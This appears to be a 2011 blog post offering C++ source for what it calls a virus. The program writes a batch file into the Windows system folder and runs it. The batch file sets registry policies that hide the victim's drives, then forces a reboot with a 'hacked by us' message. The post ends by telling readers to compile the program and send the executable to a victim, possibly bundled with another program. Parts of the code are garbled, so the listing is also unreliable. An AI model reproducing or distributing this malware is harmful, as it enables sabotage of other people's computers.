C + +, The Code Of The Virus Batch To Disable All Hard Drives

24/06/2011 09:34

Let me give you a C + + code of the virus. In fact, the batch code converted to C + + code of the virus. If you want, you can also use it in batch code.
here is the code:
#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }
Copy and paste the code above into Notepad

Save the file. Cpp extension

Compile and create. Exe in the PRC

Do not run the C + + program, it will attack your system yourself.

Copy of creation. Exe and send it to your victim. You can also join with other

exe.